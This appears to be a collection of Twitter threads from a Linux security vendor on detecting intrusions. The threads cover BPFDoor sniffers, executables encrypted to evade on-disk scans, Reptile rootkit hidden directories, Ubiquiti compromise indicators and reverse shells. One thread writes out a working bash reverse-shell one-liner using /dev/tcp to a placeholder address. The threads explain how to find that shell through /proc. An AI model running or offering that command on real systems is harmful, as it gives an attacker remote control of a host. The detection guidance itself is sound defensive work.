Sandfly users (even free users) can enable the following incident response checks to flag processes running as sniffers. It will easily find #BPFdoor. Here's how in this thread:
We have checks for sniffer activity in the incident response modules. They are not run by default as they can be noisy at times, but we do have a tuned version that is not noisy. Select the hosts you want scanned, then in sandfly selection use the filter to find "sniffer".
Then select the ones you want run. I suggest using just the tuned version which will ignore some common false positives.
Then submit the scan and wait a bit. We'll agentlessly scan your Linux hosts and report any results like this #BPFDoor. You can see below that BPFDoor is masquerading this time as avahi-daemon, but the real name is "kdmtmpflush".
Fully licensed users can create a custom check to isolate it further to sniffers that are running with deleted process binaries. Customers can contact us for more information. We can do other things as well to broaden the net if you want.
• • •
Missing some Tweet in this thread? You can try to
force a refresh
This new Linux script from THC will encrypt and obfuscate any executable or script to hide from on-disk detection. I'm going to show you how to detect it with command line tools in this thread.
First, it only encrypts the binary at rest on disk. It is not encrypting the running process. This will evade legacy file scanning with YARA, etc. that is unreliable on Linux and I don't recommend using. The running process has no encryption so that is our detection target.
I encrypted a netcat binary. See the directory of encrypted and unencrypted binaries? Notice the size, and also notice I gzipped the binaries. Encrypted binaries do not compress well. This is a cheap "is this encrypted or not" check.
It is a total myth that you need agents on Linux to find attackers. It can all be done in user space and there is no reason to risk system stability doing kernel telemetry science projects across your org. Thread...
First, people think attackers always deploy stealth rootkits on Linux, but this is absolutely not the case. Most attacks are plainly obvious, but many are not found because nobody is looking. Kernel monitoring offers no advantage in finding typical attack patterns.
However, even the stealthiest of Linux stealth rootkits eventually does something to get caught. I've never seen a stealth rootkit in the wild that was perfect, and most of them horribly break things. Detecting rootkits does not require kernel kung-fu.
Detecting stealth rootkits on Linux can be done from the command line. The secret is to ask the same question multiple ways to make sure all answers agree.
Let's find a directory from the Reptile stealth rootkit on Linux with link checks.
h/t @hal_pomeranz for this method.
When you run a rootkit like Reptile, they often come with the ability to hide a directory if named a certain way. Any directory with the name "reptile" in it will be hidden with this rootkit as you see below under /lib/udev.
Let's use the tactic of asking the same question multiple ways to find something hiding. Here "ls -d */" shows only directories. We'll pipe it through "wc" to get a count. Only two directories are shown.
One of my favorite reverse shells for Linux is this:
bash -i >& /dev/tcp/IP_ADDRESS/PORT 0>&1
It's simple and works on just about every Linux system without elaborate payloads. Let's discuss how to investigate it.
When you look at the process listing, you'll see a shell running. But the shell will have the interactive (-i) flag. In general, this isn't terribly common and is a good place to put your attention.
We'll just go right to /proc/PID of the suspicious process. I like looking at open files processes have under /proc/PID/fd. You can learn a lot about what a process is doing by what it has open.
Report below on Ubiquiti compromise tactics and indicators. Includes OpenSSH backdoor/credential harvesting and dropped SSH key. Plus custom python based backdoors, iptables proxying and tampered binaries. Some thoughts.
Using SSH with passwords means a trojanized binary will steal any credential of someone logging in. If you are not using public keys with SSH on Ubiquti and other devices (which prevents this), at least use a unique password with *each* device. Do not re-use passwords.
A reverse proxy rule is inserted likely to allow leverage of compromised systems to route/hide traffic for a variety of uses.
As disclosed, it runs as [syslogd] after exec. This is easily seen with a ps -auxwf command that it is sitting out all alone and not part of the main [kthreadd] process PID 2.
ps -auxwf is your friend.
It then opens up a raw socket listening for UDP packets and waits patiently and quietly. The netstat listing shows the [syslogd] process which would be extremely suspicious if you happened to see it.